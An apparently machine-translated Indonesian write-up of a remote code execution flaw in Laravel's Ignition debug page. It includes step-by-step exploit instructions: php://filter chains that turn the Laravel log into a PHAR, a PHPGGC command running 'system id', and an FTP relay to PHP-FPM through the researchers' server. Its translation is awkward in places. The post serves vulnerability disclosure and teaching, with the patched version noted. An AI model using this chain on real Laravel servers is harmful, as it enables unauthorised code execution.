Mode Debug Remote code execution Pada versi laravel <=8.4.2
Pada akhir November 2020, selama audit keamanan untuk salah satu klien kami, kami menemukan situs web berbasis Laravel. Situs ini memiliki postur keamanan yang cukup baik, tetapi karena berjalan dalam mode debug, saya mendapatkan pesan kesalahan terperinci dengan jejak tumpukan.
Penyelidikan lebih lanjut mengungkapkan bahwa jejak tumpukan ini dihasilkan oleh Ignition, pembuat halaman kesalahan Laravel default sejak versi 6.
Pengapian <= 2.5.1
Selain menampilkan jejak tumpukan yang indah, Ignition hadir dengan solusi, atau cuplikan kode kecil, yang memecahkan masalah yang mungkin Anda temui saat mengembangkan aplikasi Anda. Misalnya, menggunakan variabel yang tidak dikenal dalam template terlihat seperti ini:
Klik Jadikan variabel Optional dan {{ $username }} di template akan otomatis berubah menjadi {{ $username ? '' }}. Anda dapat memeriksa log HTTP untuk melihat endpoint yang dipanggil.
Kirim jalur file dan nama variabel untuk diganti dengan nama kelas solusi. Ini terlihat menarik.
Mari kita periksa vektor nama kelas terlebih dahulu. Bisakah saya membuat instance sesuatu?
class SolutionProviderRepository implements SolutionProviderRepositoryContract
{
...
public function getSolutionForClass(string $solutionClass): ?Solution
{
if (! class_exists($solutionClass)) {
return null;
}
if (! in_array(Solution::class, class_implements($solutionClass))) {
return null;
}
return app($solutionClass);
}
}
Tidak: Ignition akan memeriksa apakah kelas yang Anda tentukan mengimplementasikan RunnableSolution.
Sekarang mari kita lihat kelas lebih dekat. Kode yang bertanggung jawab untuk ini ada di ./vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php. Apakah tidak mungkin untuk mengubah konten file apa pun?
class MakeViewVariableOptionalSolution implements RunnableSolution
{
...
public function run(array $parameters = [])
{
$output = $this->makeOptional($parameters);
if ($output !== false) {
file_put_contents($parameters['viewFile'], $output);
}
}
public function makeOptional(array $parameters = [])
{
$originalContents = file_get_contents($parameters['viewFile']); // [1]
$newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
$originalTokens = token_get_all(Blade::compileString($originalContents)); // [2]
$newTokens = token_get_all(Blade::compileString($newContents));
$expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);
if ($expectedTokens !== $newTokens) { // [3]
return false;
}
return $newContents;
}
protected function generateExpectedTokens(array $originalTokens, string $variableName): array
{
$expectedTokens = [];
foreach ($originalTokens as $token) {
$expectedTokens[] = $token;
if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) {
$expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
$expectedTokens[] = [T_COALESCE, '??', $token[2]];
$expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
$expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]];
}
}
return $expectedTokens;
}
...
}
Kode ini sedikit lebih rumit dari yang diharapkan. Setelah membaca jalur file yang diberikan [1] dan mengganti $variableName dengan $variableName ?? '', baik file pertama dan file baru diberi token [2]. Jika struktur kode tidak berubah lebih dari yang diharapkan, file akan diganti dengan konten baru. Jika tidak, makeOptional mengembalikan false [3] dan tidak ada file baru yang ditulis. Jadi Anda tidak bisa berbuat banyak dengan nama variabel.
Satu-satunya variabel input yang tersisa adalah viewFile. Mengabstraksi variableName dan semua kegunaannya menghasilkan cuplikan kode berikut.
$contents = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $contents);
Jadi ia menulis kembali ke viewFile tanpa mengubah konten viewFile dengan cara apa pun. Ini tidak melakukan apa-apa!
Sepertinya kita memiliki KKP di tangan kita.
mengeksploitasi apa-apa
Kami telah datang dengan dua solusi. Jika Anda ingin mencobanya sendiri sebelum membaca posting blog lainnya, berikut cara menyiapkan lab.
$ git clone https://github.com/laravel/laravel.git
$ cd laravel
$ git checkout e849812
$ composer install
$ composer require facade/ignition==2.5.1
$ php artisan serve
Log file ke PHAR
Pembungkus PHP: Memodifikasi File
Kita semua mungkin pernah mendengar tentang teknik kemajuan unggahan yang ditunjukkan oleh Orange Tsai. Gunakan php://filter untuk mengubah konten file sebelum dikembalikan. Ini dapat digunakan untuk mengubah konten file menggunakan primitif eksploit.
$ echo test | base64 | base64 > /path/to/file.txt
$ cat /path/to/file.txt
ZEdWemRBbz0K
$f = 'php://filter/convert.base64-decode/resource=/path/to/file.txt';
# Reads /path/to/file.txt, base64-decodes it, returns the result
$contents = file_get_contents($f);
# Base64-decodes $contents, then writes the result to /path/to/file.txt
file_put_contents($f, $contents);
$ cat /path/to/file.txt
test
Anda mengubah isi file! Sayangnya ini menerapkan transformasi dua kali. Baca dokumen dan Anda akan melihat cara menerapkannya hanya sekali.
# To base64-decode once, use:
$f = 'php://filter/read=convert.base64-decode/resource=/path/to/file.txt';
# OR
$f = 'php://filter/write=convert.base64-decode/resource=/path/to/file.txt';
Badchars juga diabaikan.
$ echo ':;.!!!!!ZEdWemRBbz0K:;.!!!!!' > /path/to/file.txt
$f = 'php://filter/read=convert.base64-decode|convert.base64-decode/resource=/path/to/file.txt';
$contents = file_get_contents($f);
file_put_contents($f, $contents);
$ cat /path/to/file.txt
test
Tulis file log
Secara default, file log Laravel yang berisi semua kesalahan PHP dan stack trace disimpan di storage/logs/laravel.log. Mari buat kesalahan dengan mencoba membaca file SOME_TEXT_OF_OUR_CHOICE yang tidak ada.
[2021-01-11 12:39:44] local.ERROR: file_get_contents(SOME_TEXT_OF_OUR_CHOICE): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(SOME_TEXT_OF_OUR_CHOICE): failed to open stream: No such file or directory at /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75)
[stacktrace]
#0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError()
#1 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(75): file_get_contents()
#2 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(67): Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution->makeOptional()
#3 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php(19): Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution->run()
#4 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(48): Facade\\Ignition\\Http\\Controllers\\ExecuteSolutionController->__invoke()
[...]
#32 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(103): Illuminate\\Pipeline\\Pipeline->Illuminate\\Pipeline\\{closure}()
#33 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(141): Illuminate\\Pipeline\\Pipeline->then()
#34 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(110): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter()
#35 /work/pentest/laravel/laravel/public/index.php(52): Illuminate\\Foundation\\Http\\Kernel->handle()
#36 /work/pentest/laravel/laravel/server.php(21): require_once('/work/pentest/l...')
#37 {main}
"}
Hebat, Anda dapat memasukkan (hampir) konten sewenang-wenang ke dalam file. Secara teori, Anda dapat menggunakan teknik Orange untuk mengonversi file log menjadi file PHAR yang valid dan menggunakan pembungkus phar:// untuk menjalankan kode serial. Sayangnya ini tidak berhasil karena berbagai alasan.
Rantai decoding base64 menunjukkan batasnya
Saya sebutkan sebelumnya bahwa PHP mengabaikan badchar ketika base64 mendekode string. Ini benar kecuali untuk satu karakter =. Menggunakan filter base64-decode pada string dengan = di tengah akan menyebabkan PHP memunculkan kesalahan dan tidak mengembalikan apa pun.
Jika Anda mengontrol seluruh file, ini akan baik-baik saja. Namun, hanya sebagian kecil teks yang dimasukkan ke dalam file log. Ada juga awalan berukuran sedang (tanggal) dan akhiran besar (jejak tumpukan). Selain itu, teks yang disisipkan hadir dua kali.
Ini horor lainnya:
php > var_dump(base64_decode(base64_decode('[2022-04-30 23:59:11]')));
string(0) ""
php > var_dump(base64_decode(base64_decode('[2022-04-12 23:59:11]')));
string(1) "2"
Bergantung pada tanggalnya, decoding awalan dua kali menghasilkan hasil dengan ukuran yang berbeda. Decoding ketiga kalinya, dalam kasus kedua, ia menambahkan 2 sebelum payload, mengubah keselarasan pesan base64.
Karena pelacakan tumpukan berisi nama file absolut, kami harus membuat muatan baru untuk setiap target. Saya juga harus membangun muatan baru setiap detik karena awalan memiliki waktu di dalamnya. Dan bahkan jika a = berhasil membobol salah satu dari banyak dekode base64, itu akan diblokir.
Jadi saya kembali ke dokumen PHP dan menemukan jenis filter lainnya.
masukkan pengkodean
Mari kita kembali sedikit. File log berisi:
[previous log entries]
[prefix]PAYLOAD[midfix]PAYLOAD[suffix]
Sayangnya, kita tahu bahwa spamming base64-decode mungkin akan gagal di beberapa titik. Gunakan ini untuk keuntungan Anda: spamming akan mengakibatkan kesalahan decoding dan membersihkan file log.
Lebih baik lagi, Anda dapat menggunakan filter "konsumsi" (tidak berdokumen) untuk mencapai hal yang sama.
php://filter/read=consumed/resource=/path/to/file.txt
Kesalahan berikutnya dicatat dalam file log saja.
php://filter/read=consumed/resource=/path/to/file.txt
Sekarang kembali ke masalah awal menjaga payload dan menghapus sisanya. Untungnya, php://filter tidak terbatas pada operasi base64. Misalnya, dapat digunakan untuk mengonversi set karakter. Konversi dari UTF-16 ke UTF-8 adalah sebagai berikut:
echo -ne '[Some prefix ]P\0A\0Y\0L\0O\0A\0D\0[midfix]P\0A\0Y\0L\0O\0A\0D\0[Some suffix ]' > /tmp/test.txt
php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt');
卛浯牰晥硩崠PAYLOAD浛摩楦嵸PAYLOAD卛浯畳晦硩崠
Ini sangat bagus. Payload kami ada di sana, aman dan waras, awalan dan akhiran sekarang karakter non-ASCII. Namun, entri log menunjukkan muatan dua kali, bukan sekali. Saya harus menyingkirkan yang kedua.
Karena UTF-16 bekerja dengan 2 byte, Anda dapat mengimbangi instance PAYLOAD kedua dengan menambahkan 1 byte di bagian akhir.
echo -ne '[Some prefix ]P\0A\0Y\0L\0O\0A\0D\0X[midfix]P\0A\0Y\0L\0O\0A\0D\0X[Some suffix ]' > /tmp/test.txt
php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt');
卛浯牰晥硩崠PAYLOAD存業晤硩偝䄀夀䰀伀䄀䐀堀卛浯畳晦硩崠
Hal yang menyenangkan tentang ini adalah penempatan awalan tidak lagi menjadi masalah. Jika ukurannya genap, muatan pertama akan didekodekan dengan benar. Jika tidak, itu akan menjadi yang kedua.
Sekarang Anda dapat menggabungkan temuan Anda dengan decoding base64 biasa untuk menyandikan apa pun yang Anda inginkan.
$ echo -n TEST! | base64 | sed -E 's/./\0\\0/g'
V\0E\0V\0T\0V\0C\0E\0=\0
$ echo -ne '[Some prefix ]V\0E\0V\0T\0V\0C\0E\0=\0X[midfix]V\0E\0V\0T\0V\0C\0E\0=\0X[Some suffix ]' > /tmp/test.txt
php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8|convert.base64-decode/resource=/tmp/test.txt');
TEST!
Berbicara tentang penyelarasan, bagaimana perilaku filter transformasi jika file log itu sendiri tidak selaras byte ganda?
PHP Warning: file_get_contents(): iconv stream filter ("utf16le"=>"utf-8"): invalid multibyte sequence in php shell code on line 1
Sekali lagi, masalah. Ini mudah diselesaikan dengan dua muatan, muatan jinak A dan muatan aktif B. Ini akan menjadi sebagai berikut.
[prefix]PAYLOAD_A[midfix]PAYLOAD_A[suffix]
[prefix]PAYLOAD_B[midfix]PAYLOAD_B[suffix]
Awalan, perbaikan tengah, dan akhiran muncul dua kali dengan PAYLOAD_A dan PAYLOAD_B untuk memastikan bahwa file log berukuran sama dan menghindari kesalahan.
Akhirnya, ada satu masalah terakhir yang harus dipecahkan. Padukan byte payload dari 1 hingga 2 dengan byte NULL. Ketika saya mencoba memuat file dengan byte NULL di PHP saya mendapatkan kesalahan berikut:
PHP Warning: file_get_contents() expects parameter 1 to be a valid path, string given in php shell code on line 1
Oleh karena itu, tidak mungkin menyisipkan muatan yang berisi byte NULL ke dalam log kesalahan. Untungnya, filter terakhir, convert.quoted-printable-decode, datang untuk menyelamatkan.
Anda dapat menggunakan =00 untuk menyandikan byte nol.
Berikut adalah rantai transformasi terakhir:
viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/path/to/storage/logs/laravel.log
Instruksi Eksploitasi Lengkap
Buat dan encode payload PHPGGC.
php -d'phar.readonly=0' ./phpggc monolog/rce1 system id --phar phar -o php://output | base64 -w0 | sed -E 's/=+$//g' | sed -E 's/./\0=00/g'
U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=00M=00f=00n=00/=00Y=00B=00A=00A=00A=00A=00A=00Q=00A=00A=00A=00A=00F=00A=00B=00I=00A=00Z=00H=00V=00t=00b=00X=00l=00u=00d=00Q=004=00A=001=00U=00l=003=00t=00r=00Q=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00B=000=00Z=00X=00N=000=00U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=007=00m=00z=00i=004=00H=00Q=00A=00A=00A=00B=000=00A=00A=00A=00A=00O=00A=00B=00I=00A=00L=00n=00B=00o=00Y=00X=00I=00v=00c=003=00R=001=00Y=00i=005=00w=00a=00H=00B=00u=00d=00Q=004=00A=00V=00y=00t=00B=00h=00L=00Y=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=008=00P=003=00B=00o=00c=00C=00B=00f=00X=000=00h=00B=00T=00F=00R=00f=00Q=000=009=00N=00U=00E=00l=00M=00R=00V=00I=00o=00K=00T=00s=00g=00P=00z=004=00N=00C=00l=00B=00L=00A=00w=00Q=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00C=00E=00A=00D=00H=005=00/=002=00A=00Q=00A=00A=00A=00A...=00Q=00
Clear logs:
viewFile: php://filter/read=consumed/resource=/path/to/storage/logs/laravel.log
Buat entri log pertama, untuk penyelarasan:
viewFile: AA
Buat entri log dengan payload:
viewFile: U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=00M=00f=00n=00/=00Y=00B=00A=00A=00A=00A=00A=00Q=00A=00A=00A=00A=00F=00A=00B=00I=00A=00Z=00H=00V=00t=00b=00X=00l=00u=00d=00Q=004=00A=001=00U=00l=003=00t=00r=00Q=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00B=000=00Z=00X=00N=000=00U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=007=00m=00z=00i=004=00H=00Q=00A=00A=00A=00B=000=00A=00A=00A=00A=00O=00A=00B=00I=00A=00L=00n=00B=00o=00Y=00X=00I=00v=00c=003=00R=001=00Y=00i=005=00w=00a=00H=00B=00u=00d=00Q=004=00A=00V=00y=00t=00B=00h=00L=00Y=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=008=00P=003=00B=00o=00c=00C=00B=00f=00X=000=00h=00B=00T=00F=00R=00f=00Q=000=009=00N=00U=00E=00l=00M=00R=00V=00I=00o=00K=00T=00s=00g=00P=00z=004=00N=00C=00l=00B=00L=00A=00w=00Q=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00C=00E=00A=00D=00H=005=00/=002=00A=00Q=00A=00A=00A=00A...=00Q=00==00==00
Terapkan filter kami untuk mengonversi file log menjadi PHAR yang valid:
viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/path/to/storage/logs/laravel.log
Luncurkan deserialisasi PHAR:
viewFile: phar:///path/to/storage/logs/laravel.log
Hasil:
Sebagai eksploitasi:
Segera setelah melihat serangan di lingkungan lokal saya, saya melanjutkan pengujian pada target dan tidak berhasil. Nama file log berbeda. Setelah menghabiskan berjam-jam mencoba menebak namanya, kami tidak bisa, jadi kami memutuskan untuk menerapkan serangan lain. Mungkin saya harus memeriksa ini beberapa waktu yang lalu.
Berkomunikasi dengan PHP-FPM menggunakan FTP
Karena file_get_contents dapat melakukan apa saja, ia dapat mengeluarkan permintaan HTTP dan memindai port umum. PHP-FPM tampaknya mendengarkan pada port 9000.
Sudah diketahui bahwa jika Anda dapat mengirim paket biner arbitrer ke layanan PHP-FPM, Anda dapat mengeksekusi kode pada mesin Anda. Teknik ini sering digunakan bersama dengan protokol gopher://, yang didukung oleh curl tetapi tidak oleh PHP.
Protokol lain yang diketahui dapat mengirim paket biner melalui TCP adalah FTP, lebih tepatnya dalam mode pasif. Ketika klien ingin membaca file dari (atau menulis ke) server FTP, server dapat memberi tahu klien untuk membaca (menulis konten file ke IP dan port tertentu. IP dan port ini Tidak ada batasan pada , misalnya, server dapat mengarahkan klien untuk terhubung ke salah satu portnya sendiri jika diinginkan.
Sekarang jika kita mencoba mengeksploitasi kerentanan dengan viewFile=ftp://evil-server.lexfo.fr/file.txt kita mendapatkan:
- file_get_contents() terhubung ke server FTP kami dan mengunduh file.txt.
- file_put_contents() terhubung ke server FTP dan mengunggahnya ke file.txt.
Anda mungkin tahu ke mana arahnya: gunakan mode pasif dari protokol FTP sehingga file_get_contents() mengunduh file ke server, dan ketika Anda mencoba mengunggahnya menggunakan file_put_contents(), file tersebut akan dikirim. ke 127.0.0.1:9000.
Grafik ini terinspirasi oleh artikel hxp-2020 oleh dfyz.
Ini memungkinkan Anda untuk mengirim paket sewenang-wenang ke PHP-FPM dan mengeksekusi kode.
Eksploitasi kali ini berhasil mengenai sasaran.
Kesimpulan
PHP penuh dengan kejutan. Tidak ada bahasa lain yang menghasilkan kerentanan ini dalam dua baris yang sama (walaupun, agar adil, Perl akan melakukannya dalam satu baris).
Saya mengirimkan bug dan patch ke pengelola Ignition di GitHub pada 16 November 2020, dan versi baru (2.5.2) diterbitkan pada hari berikutnya. Ini adalah dependensi require-dev untuk Laravel, jadi semua instance yang diinstal setelah tanggal ini diharapkan aman.